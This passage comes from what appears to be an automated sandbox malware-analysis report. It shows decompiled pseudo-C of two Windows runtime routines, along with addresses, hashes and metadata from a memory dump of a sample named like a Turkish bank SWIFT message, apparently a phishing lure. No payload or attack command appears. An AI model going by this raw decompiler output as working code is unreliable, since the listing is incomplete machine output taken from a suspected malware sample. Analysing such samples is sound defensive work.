				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				char _t56;
				void* _t69;
				char _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x136d360 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				E012BFA60( &_v60, 0, 0x30);
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push(4);
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							E01292280(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E0128FFB0(_t72, _t82, _t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x136b1e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return E012BB640(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}


































                                                                        0x012a645b
                                                                        0x012a6463
                                                                        0x012a646d
                                                                        0x012a6475
                                                                        0x012a647a
                                                                        0x012a647e
                                                                        0x012a6480
                                                                        0x012a648c
                                                                        0x012a6490
                                                                        0x012a6495
                                                                        0x012a6498
                                                                        0x012a649b
                                                                        0x012a649f
                                                                        0x012a64a1
                                                                        0x012e7c07
                                                                        0x012e7c09
                                                                        0x012e7c0c
                                                                        0x00000000
                                                                        0x012a64a7
                                                                        0x012a64a7
                                                                        0x012a64aa
                                                                        0x012e7bf7
                                                                        0x012e7c00
                                                                        0x00000000
                                                                        0x012e7bf9
                                                                        0x012e7bf9
                                                                        0x012e7bf9
                                                                        0x012a64b0
                                                                        0x012a64b0
                                                                        0x012a64b2
                                                                        0x012a64b2
                                                                        0x012a64b3
                                                                        0x012a64ba
                                                                        0x012a6553
                                                                        0x012a655e
                                                                        0x012a6566
                                                                        0x012a656c
                                                                        0x012a6575
                                                                        0x012a657f
                                                                        0x012a6585
                                                                        0x012a6588
                                                                        0x012a6588
                                                                        0x012a64c7
                                                                        0x012a64cb
                                                                        0x012a64ce
                                                                        0x012a64d3
                                                                        0x012a64da
                                                                        0x012a64e5
                                                                        0x012a64ed
                                                                        0x012a64f1
                                                                        0x012a64f5
                                                                        0x012a64f6
                                                                        0x012a64fa
                                                                        0x012a6502
                                                                        0x012a6503
                                                                        0x012a6504
                                                                        0x012a6507
                                                                        0x012a651a
                                                                        0x012a6524
                                                                        0x012a6524
                                                                        0x012a6526
                                                                        0x012a6526
                                                                        0x012a64aa
                                                                        0x012a652c
                                                                        0x012a652d
                                                                        0x012a652e
                                                                        0x012a6539

                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DebugPrintTimes
                                                                        • String ID: 0$0
                                                                        • API String ID: 3446177414-203156872
                                                                        • Opcode ID: 346abba048f7e602d8042c965fbe1997f664d2535cadb4f97f514a2bd3b267ca
                                                                        • Instruction ID: 1aebc5fe3746d262d1f1dadfec3dbea8ad62e3aab383994eb024cebcf97744c0
                                                                        • Opcode Fuzzy Hash: 346abba048f7e602d8042c965fbe1997f664d2535cadb4f97f514a2bd3b267ca
                                                                        • Instruction Fuzzy Hash: A0417CB16147029FC311CF28C484A2ABBE5FF89704F48456EF688DB341D771EA05CB96
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0130FDDA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 53%
                                                                        			E0130FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E012BCE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E01305720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E01305720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}










                                                                        0x0130fdda
                                                                        0x0130fde2
                                                                        0x0130fde5
                                                                        0x0130fdec
                                                                        0x0130fdfa
                                                                        0x0130fdff
                                                                        0x0130fe0a
                                                                        0x0130fe0f
                                                                        0x0130fe17
                                                                        0x0130fe1e
                                                                        0x0130fe19
                                                                        0x0130fe19
                                                                        0x0130fe19
                                                                        0x0130fe20
                                                                        0x0130fe21
                                                                        0x0130fe22
                                                                        0x0130fe25
                                                                        0x0130fe40

                                                                        APIs
                                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0130FDFA
                                                                        Strings
                                                                        • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 0130FE01
                                                                        • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 0130FE2B
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                        • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
                                                                        • API String ID: 885266447-3903918235
                                                                        • Opcode ID: 964038bd67687278d53ba4a6aacf151f5dcc00146dbc89158a2d6ff6ca9cb08c
                                                                        • Instruction ID: e3f20ffd8095afd65b2c178bedd8a19f3772e6340f44163961446f568a18008c
                                                                        • Opcode Fuzzy Hash: 964038bd67687278d53ba4a6aacf151f5dcc00146dbc89158a2d6ff6ca9cb08c
                                                                        • Instruction Fuzzy Hash: 89F0C232200201BBE6211A49DC06F23BB9EEB44B30F140214F628565D1EA62F86096A0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%